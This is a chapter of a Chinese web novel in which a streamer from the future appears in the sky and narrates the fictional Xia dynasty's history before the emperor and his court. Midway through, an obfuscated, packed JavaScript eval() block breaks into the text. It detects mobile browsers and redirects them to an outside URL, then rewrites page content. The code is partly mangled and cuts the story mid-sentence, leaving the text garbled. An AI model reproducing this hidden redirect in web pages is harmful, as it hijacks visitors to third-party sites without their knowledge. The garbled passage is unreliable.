《天幕剧透我竟是中兴之主》 1. 序幕 永明元年,岁在丙子。 宣政殿内,永明帝与诸朝臣议事方毕,殿内肃穆的气氛尚未消散,耳畔忽闻仙乐阵阵,飘渺琴音夹杂着激昂鼓点回荡天地。 有小黄门匆匆来报:“陛下,天幕再现!” 话音未落,众人的目光已循着响起的琴音看向殿外的天空。 原本万里无云的天穹上,悄然浮现出一面透明的屏幕。 屏幕上是一位妙龄女郎,发饰服饰虽竭力靠近当下,细节处却总有几分不伦不类。 这奇异的天幕最初出现在年初永明帝的登基大典上。 据大夏朝廷调查,天下之人无论身处何方,只要抬头望天便可将完整的天幕纳入眼底,不虞视角遮挡,也不存在因口音和文字陌生而导致的费解。 大家自然而然就能听懂女郎的语言,看懂天幕上的文字。 如此神异,莫非是仙人降下的祥瑞? 大夏朝廷趁机宣扬天命在夏,民间百姓则纷纷叩拜神女。 只是半年过去,随着天幕时不时出现,“神女”一次又一次“直播”,天下间许多人渐渐明白过来,这并非什么天赐祥瑞,而是后世之人讲古,且讲的正是本朝之事。 对民间百姓而言,这可比听评书有意思多了,况且还不费钱。 到了现在,一听见熟悉的声音,只要不是忙得上头的人,都忍不住本能地抬起头。 就见天幕上笑意盈盈的年轻女郎冲大家抬手打招呼。 【朋友们又见面了,我是你们的史盲主播文心!】 天幕下不少人下意识回礼:“文心姑娘好!” 过去半年颇为奇妙,这位来自后世的文心姑娘在九州已是无人不识。她的讲古直播更是不知不觉间成为许多人最期待的娱乐活动。 人类的悲欢并不相通,永明帝只觉得他们吵闹。 人还活着便提前知道自己的庙号、谥号,乃至史书评价,尤其是被迫与天下人一起听后世的小姑娘扒拉自己的发家史,从正史野史各种边边角角里揭开一些他极力想要隐藏的秘密,这滋味难以形容…… 他面无表情地注视着天幕上自称史盲的女郎小嘴一抿,开始造谣: 【前几期我们讲过夏太祖薛烈的发家史,这一期就来聊聊继承人的问题。一代打天下,二代守天下,王朝能不能延续就看二代皇帝的成色。】 【众所周知,自燕王朝崩塌以来,天下动荡数十年。夏太祖起于行伍,屡败强敌,扫平北方,定鼎中原,几乎一统天下,靠的就是能生,会生——不仅有一个十六岁就在战场上大开无双的战神儿子,还有一个堪称神级辅助的闺女。】 【父子俩在前线攻城掠地,闺女在后方稳定人心。张皇后去世早,夏太祖又没有续娶,所有该由女主人出面的事都是闺女一力担起,桩桩件件妥帖周全,让夏太祖后顾无忧。前燕那些要么抽不出卡、要么一抽一堆r卡的皇帝们,看了不得羡慕死啊!】 【手握两张SR,夏太祖本人更是当世顶尖军事家,唯一SSR,加上身边大大小小一堆R卡、SR卡,这局都不知道怎么输!】 听惯了后世奇奇怪怪的形容词,众人也大概明白这些古怪符号所代表的等级含义。 永明帝:……你还知道朕才是唯一的SSR啊! 什么能生、会生,靠儿女打天下,后世造起谣来,真是全然不顾当事人死活……只是想到一双儿女,永明帝的心情不可避免败坏下来。 殿中群臣纷纷噤声,不敢触天子霉头。 唯一不顾当事人死活的主播继续叭叭: 【大概是人太顺易遭天妒,或者是某种特殊的平衡机制,欧皇夏太祖终于遭到了制裁。不知道怎么输是吧?老天爷出手了,一出手就直接没收了他的两张SR。】 【——文襄太子遇伏,身披数十箭而死。宣成公主时值有孕,闻讯早产,血崩而亡。】 【前后两个月,夏太祖痛失爱子爱女,《夏史》记载“帝悲不自胜,呕血于地”。】 “……天妒?” 丧子丧女之痛,虽经数载难忘,此时被主播揭开伤口,还口无遮拦一通撒盐,永明帝依旧面无表情。殿内群臣却感觉周遭温度狂降,仿佛看到一头怒意勃发、欲择人而噬的猛虎,杀气张牙舞爪,四溢而出。 这位天子虽非滥杀之辈,却也不是好相与的主儿,群臣暗叫苦也,只恨不得封了天上那位姑奶奶的嘴。每回这位一张嘴他们就胆战心惊,这样的日子何时是个头? “陛下息怒,勿因无谓之言有损龙体。”丞相夏侯敬一步跨出,道,“后世之人无知无畏,无君无父,安敢妄谈天数?” 作为伴随永明帝一道起家的老臣,也是永明帝昔日的好友,唯有夏侯敬敢在永明帝发怒时插话,且谈笑自若,神情泰然:“不过是故作惊世之言,博人一笑而已。” 断断续续收听“直播”半年,他们早就发现,后世之人谈起帝王之事往往轻佻无状。知道归知道,接受却是另一回事。 至少永明帝就不太能接受这般调侃。尤其是“天妒”之说,一旦被有心人利用,在愚夫愚妇之中传播,势必徒生风波。 须知永明帝虽定鼎中原,天下却未一统。南方尚有齐、梁、陈三国并立,与大夏四分天下。他登基以来,厉兵秣马,只等天时一至,便攻取三国。不成想天时尚未到来,后世之人的讲古直播便莫名降临。 幸而天幕中已明确透露大夏将是继前燕之后又一个大一统王朝,故而这半年来,天下虽有动乱,动乱最多的地方却是南齐、南梁、南陈。永明帝未动一兵一卒,便收到了南方三国不知多少大臣寄来的密信。 ——这才是昭昭天命! 念及天幕出现以来大夏得到的好处,永明帝自己说服自己,消了怒气。 只是他前脚才将自己安抚完毕,后脚又被主播三言两语挑出了一身的怒火—— 【正史记载明明白白,有些人就不听,偏说是夏太祖猜忌心起,故意害死他们。】 【先不说虎毒不食子,毕竟皇帝这玩意儿吧都不是正常人,和他们不能谈亲情。只说这两人死的时候夏太祖才打下半个北方,河都还没过呢,哪个傻子会拆桥?】 【哦,历史上的确有过这样的傻子,某知名不具昏君。但你要说这样的傻子能从底层一路厮杀上来,招揽众多文臣猛将,开创一代王朝?醒醒,别做白日梦了!】 【当然,最重要的一点其实是,两张SR的作用真没那么大。他们作为子女算是非常优秀,但抛开夏太祖儿女的身份不谈,夏太祖麾下不是没有胜过文襄太子的猛将,真要论功,文襄太子排不进前三名。】 【宣成公主这边的作用倒是无可取代,没有她做调和,夏太祖又是个性格暴躁的主,登基后威严日盛,君臣关系再不复从前……但谁见过不猜忌文臣武将猜忌公主的啊!】 “夏太祖猜忌害死子女”、“皇帝这玩意儿”…… 群臣倒吸一口凉气,暗恨自己今日上朝非要带耳朵干嘛,这都是他们敢听的吗? 至于说天子性格暴躁,群臣假装听而不闻,心里却连连点头。可不是吗?当今年轻时的暴脾气是出了名的,现在看似收敛,反而愈发君威难测。 而暴躁的天子已是冷笑一声:“廷尉何在?” 字数越短,事态越重。 “查!但有造谣生事之人,以作妖言论处!” 宣政殿中气氛降至冰点,别处又是另一番景象。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803774|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>士人多是指控后世之人不知尊卑、不识体统;亦有腐儒借此对自家女儿、孙女展开“闺训”,拿天幕上侃侃而谈的主播当反面教材;南齐、南梁、南陈的三位国君丝毫不知已被臣下出卖,看热闹不嫌事大。 至于民间百姓,讲起政事他们不懂,但父母爱子之心却是共通的。 他们又是为皇帝的一双儿女如此优秀而惊叹,又是为其早逝而痛惜。一些同样经历过丧子之痛的人,甚至情不自禁悲从中来。 再听那谣言,便忍不住痛骂那造谣的奸邪小人。 “丧了儿女还要被人造谣,看来皇帝老儿也是不好当。”也有人私下里嘀咕起来,“这造谣者是无儿无女,无父无母么?真是丧了良心……” 与此同时,天幕上的主播亦细细举出一桩桩一件件事例,替夏太祖澄清谣言,证明他如何真心疼爱发妻所生的一双儿女。 【……与其说夏太祖是靠儿女打天下,不如说是带儿女打天下。一字之差,天壤之别。】 就在永明帝略感欣慰之际,她又话锋一转: 【扯远了,总之夏太祖能生、会生,基因非同一般是公认的。】 【薛家祖孙三代是出了名的物种丰富:有R卡,有SR卡,有SSR卡,有神人,有普人,有拟人。】 【奈何前半生似乎耗光了夏太祖的运气,先是两张SR被撕卡,临死前又在一堆普人和拟人中精准挑中拟人中的拟人,论败家坐三望一的夏幽帝。】 【这谁见了不说一声你咋这么会选啊!】 天幕下众人倒吸一口凉气。 小小一段话,信息量过大。 壅遏不通曰幽,早孤铺位曰幽,动静乱常曰幽,暴民残义曰幽,淫德灭国曰幽……从古至今,“幽”之一字,可谓恶谥! 结合上下文,那个让人似懂非懂的“拟人”显然也不是好词。拟者,似也,一个人若是只能被评价为“似人”,还能算是人吗? 非人而似人,后世之人的嘴真毒啊! 此前群臣得知大夏将会一统天下时有多兴奋,此时这个令人震撼的“拟人夏幽帝”猝不及防蹦出来,就令他们有多心慌。 宣政殿中一片兵荒马乱。 我大夏难道要开创前所未有的记录,一世定鼎,二世而亡? 这种事情不要啊.jpg! 群臣脑海中不约而同浮现出曾在天幕上见过的表情包。 好一个拟人,好一个幽帝……看似最平静的永明帝,扶在御座上的手背青筋暴起。 他无声将手按在了剑柄上。 帝王冰冷的目光缓缓扫过全场。殿中躁动的气氛仿佛被某种无形的力量按了下去。 “陛下!”丞相夏侯敬再度开口,神情凝重,“文娘子此言,已有动荡国本之威。” 他的目光在众多同僚脸上扫过,将一些人面上的震惊与茫然看在眼里。 夏侯敬拱手道: “臣请诸臣工暂留宣政殿;速召诸皇子、皇孙入宫候旨;同时,陛下宜即刻下旨,命廷尉立刻派人监察京中舆情,弹压妄言,敢有借机生事之人,绝不轻赦!” 三条建议,条理清晰。昏君亡国带来的危机在他有条不紊的安排下眼看便消散大半。一些人混乱的思绪亦随之清晰起来。 永明帝深深看了这位老友一眼。 “准。” 一个字,重若山岳。 永明帝的目光转向殿外苍穹。 任凭风起云涌,那天幕依旧高悬。 “朕与诸卿便一同瞧瞧。”他吐出的每个字都透着森森杀气,“究竟是哪个孽障得了个‘拟人’的评价,背上了‘幽’这个谥号。” “再议一议,该如何绝此后患。”